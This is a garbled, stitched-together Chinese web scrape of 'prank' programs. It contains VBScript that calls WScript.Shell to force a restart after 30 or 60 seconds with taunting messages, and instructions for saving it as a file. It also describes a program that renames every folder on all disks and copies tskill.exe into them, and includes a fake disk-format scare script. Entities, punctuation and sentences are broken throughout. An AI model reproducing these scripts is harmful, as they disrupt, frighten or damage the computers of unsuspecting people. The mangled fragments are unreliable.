MeHeight， screendc， 0， 0， HCC0020 ReleaseDC screenhwnd， screendc End Sub form2代码Private Sub Form_DblClickMsgBox quotsb上当了吧，按‘确定’退出quot， ， quot玩笑quotEnd End Sub 这个比较整人的，VB程序。
on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 30 c quotquot说我是帅哥，不说我是帅哥就半分钟关你机，不信，试试？ quotquot quot。
首先创建 文本文档，将以下代码复制on error resume next dim WSHshellA set WSHshellA = wscriptcreateobjectquotwscriptshellquotWSHshellArun quotcmdexe c shutdown r t 60 c quotquot说我是只猪，不说就一分钟关你。
代码简要说明该程序运行后 1全盘扫描，扫描你的所有磁盘，将所有的文件夹的名字修改为原文件夹名+exe 2然后将您的电脑的文件C\WINDOWS\system32\tskillexe，复制到上面的文件夹，并更名为，再。
gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot。
